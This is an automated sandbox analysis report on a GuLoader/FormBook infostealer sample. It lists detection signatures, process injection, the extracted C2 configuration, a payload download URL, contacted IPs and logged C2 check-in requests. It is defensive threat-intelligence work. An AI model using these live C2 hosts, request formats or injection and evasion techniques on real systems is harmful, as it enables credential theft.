Edit tour

Windows Analysis Report
sOjxIU25DP.exe

Overview

General Information

Sample Name:	sOjxIU25DP.exe
Analysis ID:	1274914
MD5:	caafec374594c5b93a986bc31df97f17
SHA1:	8c2e069e2f715e6172492e1009e64009dc8b2558
SHA256:	99db3b5192d77a3db297df19db4e486c3af98416b0c023720fa2f3e88d6086cf
Infos:

Detection

FormBook, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Yara detected GuLoader

Snort IDS alert for network traffic

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Performs DNS queries to domains with low reputation

Modifies the prolog of user mode functions (user mode inline hooks)

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Stores files to the Windows start menu directory

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

PE / OLE file has an invalid certificate

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64native

sOjxIU25DP.exe (PID: 9532 cmdline: C:\Users\user\Desktop\sOjxIU25DP.exe MD5: CAAFEC374594C5B93A986BC31DF97F17)

sOjxIU25DP.exe (PID: 8016 cmdline: C:\Users\user\Desktop\sOjxIU25DP.exe MD5: CAAFEC374594C5B93A986BC31DF97F17)

explorer.exe (PID: 5484 cmdline: C:\Windows\Explorer.EXE MD5: 5EA66FF5AE5612F921BC9DA23BAC95F7)

autoconv.exe (PID: 2536 cmdline: C:\Windows\SysWOW64\autoconv.exe MD5: 469594005E3B94C5945BCCE7FC521C05)

autoconv.exe (PID: 2868 cmdline: C:\Windows\SysWOW64\autoconv.exe MD5: 469594005E3B94C5945BCCE7FC521C05)

autoconv.exe (PID: 6852 cmdline: C:\Windows\SysWOW64\autoconv.exe MD5: 469594005E3B94C5945BCCE7FC521C05)

systray.exe (PID: 5524 cmdline: C:\Windows\SysWOW64\systray.exe MD5: 28D565BB24D30E5E3DE8AFF6900AF098)

cmd.exe (PID: 6336 cmdline: /c del "C:\Users\user\Desktop\sOjxIU25DP.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://asec.ahnlab.com/en/32149/ https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/ https://blog.malwarebytes.com/scams/2020/08/sba-phishing-scams-from-malware-to-advanced-social-engineering/ https://blog.morphisec.com/guloader-the-rat-downloader	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.civzbpp.xyz/ms14/"], "decoy": ["adjoinstaff.online", "kmmdznky.cfd", "keyviewgroup.com", "kidomarketing.com", "jroxtqpq.cfd", "jdevmx.com", "genqaagz.cfd", "1cdpwp.cfd", "francegoldvip.com", "2qy218.xyz", "peterscanner.com", "trullys.com", "aniwatch.top", "windyhillcnc.com", "pokazhu.com", "r74jsy.cfd", "paulgadgets.com", "lindanewtee.com", "lasik-de-de-8808230.zone", "critone.site", "qwevqgjw.cfd", "lojaasoriginais.online", "pgtjirqx.cfd", "ypasbfxplu.shop", "kartixworld.com", "s6uqzj.com", "xigauij.cfd", "arizonaadoptionagencies.com", "wecanshipit.com", "chiccakes.site", "v3rqa4.cfd", "clasmiv.xyz", "kwhkqovf.cfd", "metabolismchecker.click", "lilith-con.com", "porterhayranch.com", "rikkun501.com", "sxbhpysr.cfd", "jc1014.com", "4213z0.com", "wshaizapp.site", "3jij6e.cfd", "weddingscork.com", "zingyi.com", "ixs0o9.com", "tchyhg.com", "printsplit.online", "nihil.one", "worthitweld.com", "venria.store", "lglcyoy.cfd", "kanmuftic.com", "zbjcolwy.cfd", "mlking99.net", "eyyk63.cfd", "tcnckkne.cfd", "buddhabazaar.online", "tissageparis.com", "cacciatoridiofferte.com", "duffledash.com", "kmsvvybi.cfd", "aqeabrdm.cfd", "qhrxnxoe.cfd", "fitnessline.app"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cbb0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cbb0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cbb0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cbb0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000004.00000002.7932779071.000000000A3EB000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_772cc62d	unknown	unknown	0x9e2:$a2: pass 0x9e8:$a3: email 0x9ef:$a4: login 0x9f6:$a5: signin 0xa07:$a6: persistent 0xbda:$r1: C:\Users\user\AppData\Roaming\L855RR1R\L85log.ini
00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cbb0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000000.00000002.3281238851.000000000597C000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: sOjxIU25DP.exe PID: 9532	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: sOjxIU25DP.exe PID: 8016	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2d2de:$a1: 3C 30 50 4F 53 54 74 09 40
Click to see the 24 entries

Snort Signatures

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 74.208.236.75

Timestamp:	192.168.11.2074.208.236.7550124802031412 07/18/23-09:54:34.975194
SID:	2031412
Source Port:	50124
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic .bin download from Dotted Quad - Source IP: 192.168.11.20 - Destination IP: 192.3.26.168

Timestamp:	192.168.11.20192.3.26.16850106802018752 07/18/23-09:48:01.645822
SID:	2018752
Source Port:	50106
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 34.102.136.180

Timestamp:	192.168.11.2034.102.136.18050118802031412 07/18/23-09:53:12.769100
SID:	2031412
Source Port:	50118
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 150.95.255.38

Timestamp:	192.168.11.20150.95.255.3850111802031412 07/18/23-09:50:51.189558
SID:	2031412
Source Port:	50111
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 34.102.136.180

Timestamp:	192.168.11.2034.102.136.18050125802031412 07/18/23-09:54:55.383279
SID:	2031412
Source Port:	50125
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 104.208.72.135

Timestamp:	192.168.11.20104.208.72.13550117802031412 07/18/23-09:52:54.412967
SID:	2031412
Source Port:	50117
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.civzbpp.xyz/ms14/"], "decoy": ["adjoinstaff.online", "kmmdznky.cfd", "keyviewgroup.com", "kidomarketing.com", "jroxtqpq.cfd", "jdevmx.com", "genqaagz.cfd", "1cdpwp.cfd", "francegoldvip.com", "2qy218.xyz", "peterscanner.com", "trullys.com", "aniwatch.top", "windyhillcnc.com", "pokazhu.com", "r74jsy.cfd", "paulgadgets.com", "lindanewtee.com", "lasik-de-de-8808230.zone", "critone.site", "qwevqgjw.cfd", "lojaasoriginais.online", "pgtjirqx.cfd", "ypasbfxplu.shop", "kartixworld.com", "s6uqzj.com", "xigauij.cfd", "arizonaadoptionagencies.com", "wecanshipit.com", "chiccakes.site", "v3rqa4.cfd", "clasmiv.xyz", "kwhkqovf.cfd", "metabolismchecker.click", "lilith-con.com", "porterhayranch.com", "rikkun501.com", "sxbhpysr.cfd", "jc1014.com", "4213z0.com", "wshaizapp.site", "3jij6e.cfd", "weddingscork.com", "zingyi.com", "ixs0o9.com", "tchyhg.com", "printsplit.online", "nihil.one", "worthitweld.com", "venria.store", "lglcyoy.cfd", "kanmuftic.com", "zbjcolwy.cfd", "mlking99.net", "eyyk63.cfd", "tcnckkne.cfd", "buddhabazaar.online", "tissageparis.com", "cacciatoridiofferte.com", "duffledash.com", "kmsvvybi.cfd", "aqeabrdm.cfd", "qhrxnxoe.cfd", "fitnessline.app"]}

Multi AV Scanner detection for submitted file

Source: sOjxIU25DP.exe	Virustotal: Detection: 25%			Perma Link
Source: sOjxIU25DP.exe	ReversingLabs: Detection: 18%

Yara detected FormBook

Source: Yara match	File source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Antivirus detection for URL or domain

Source: http://192.3.26.168/windows/f/ayewoMsIHKx140.bin	Avira URL Cloud: Label: malware
Source: http://192.3.26.168/$	Avira URL Cloud: Label: malware
Source: www.civzbpp.xyz/ms14/	Avira URL Cloud: Label: phishing
Source: http://www.civzbpp.xyz/ms14/?QJB0xT=8VzwEhVnpj9LHHh/dBVXH/vZWr+ED3Zs+ywwPL0zx8n2VWRBGUwo2mcFvQSxFjo7HGkT&B2Mpk=f85PJD7hpN2lIn7P	Avira URL Cloud: Label: phishing
Source: http://192.3.26.168/	Avira URL Cloud: Label: malware
Source: http://192.3.26.168/windows/f/ayewoMsIHKx140.binn	Avira URL Cloud: Label: malware
Source: http://192.3.26.168/windows/f/ayewoMsIHKx140.binp	Avira URL Cloud: Label: malware

Source: sOjxIU25DP.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: sOjxIU25DP.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: systray.pdb source: sOjxIU25DP.exe, 00000002.00000002.3309330755.00000000000D0000.00000040.10000000.00040000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: systray.pdbGCTL source: sOjxIU25DP.exe, 00000002.00000002.3309330755.00000000000D0000.00000040.10000000.00040000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdb source: sOjxIU25DP.exe, 00000002.00000001.3105168096.0000000000649000.00000008.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: sOjxIU25DP.exe, 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000003.3228331822.0000000034AA1000.00000004.00000020.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000003.3223533422.00000000348FE000.00000004.00000020.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: sOjxIU25DP.exe, sOjxIU25DP.exe, 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000003.3228331822.0000000034AA1000.00000004.00000020.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000003.3223533422.00000000348FE000.00000004.00000020.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: sOjxIU25DP.exe, 00000002.00000001.3105168096.0000000000649000.00000008.00000001.01000000.00000005.sdmp

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 0_2_004059F0 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,LdrInitializeThunk,FindNextFileA,FindClose,	0_2_004059F0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 0_2_0040659C FindFirstFileA,FindClose,	0_2_0040659C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 0_2_004027A1 FindFirstFileA,	0_2_004027A1

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 38.60.124.101 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 74.208.236.75 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.227.38.74 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.238.87.6 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 150.95.255.38 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 156.67.72.35 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.17.157.1 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 118.27.130.228 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 162.0.236.131 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 107.148.29.94 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.208.72.135 80	Jump to behavior

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2018752 ET TROJAN Generic .bin download from Dotted Quad 192.168.11.20:50106 -> 192.3.26.168:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:50111 -> 150.95.255.38:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:50117 -> 104.208.72.135:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:50118 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:50124 -> 74.208.236.75:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:50125 -> 34.102.136.180:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.civzbpp.xyz
Source:	DNS query: www.clasmiv.xyz

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.civzbpp.xyz/ms14/

Source: Joe Sandbox View	ASN Name: COGENT-174US COGENT-174US
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=7pJIIbtCMy+ecPp8pgyiBZjmVH3xwtCfzKzpB8i7ILiJr4SH9k6ng2HuTeqTpN16/Xyy&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1Host: www.4213z0.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=0MCVt3ro+Y2fULC7mglHTnfgc1Mr+oeAYZcaZJUD5Vdcg90q3P52QZV9uqsVct+gY69j HTTP/1.1Host: www.lasik-de-de-8808230.zoneConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=u3S/fUpBdl6P8b4ADNn+FVx0VEGCDPoJ7b9d+427u3NTiKr5dAp1QyZtAqVtC5y+GShx HTTP/1.1Host: www.lilith-con.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
